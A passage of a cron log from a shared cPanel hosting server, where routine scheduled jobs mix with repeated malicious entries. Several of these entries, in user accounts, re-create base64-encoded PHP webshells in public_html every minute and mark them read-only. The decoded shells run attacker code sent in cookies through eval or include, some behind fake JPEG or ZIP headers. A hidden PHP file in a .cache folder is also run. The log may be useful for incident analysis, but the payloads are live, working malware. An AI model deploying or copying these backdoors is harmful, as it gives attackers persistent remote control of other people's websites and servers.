cHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:21:02 medusa CROND[9896]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:21:02 medusa CROND[9897]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:21:02 medusa CROND[9898]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:21:02 medusa CROND[9899]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:21:02 medusa CROND[9900]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:21:02 medusa CROND[9901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:21:02 medusa CROND[9904]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 04:21:02 medusa CROND[9905]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:21:02 medusa CROND[9903]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:21:02 medusa CROND[9911]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:21:02 medusa CROND[9912]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:22:01 medusa CROND[11520]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:22:01 medusa CROND[11532]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:22:01 medusa CROND[11535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:22:01 medusa CROND[11536]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:22:01 medusa CROND[11537]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 04:22:01 medusa CROND[11541]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:22:01 medusa CROND[11543]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 04:22:01 medusa CROND[11544]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:22:01 medusa CROND[11545]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:22:01 medusa CROND[11547]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:22:01 medusa CROND[11548]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 04:22:01 medusa CROND[11549]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:22:01 medusa CROND[11551]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:22:01 medusa CROND[11557]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:23:01 medusa CROND[13064]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 04:23:01 medusa CROND[13066]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:23:01 medusa CROND[13067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:23:01 medusa CROND[13068]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:23:01 medusa CROND[13069]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
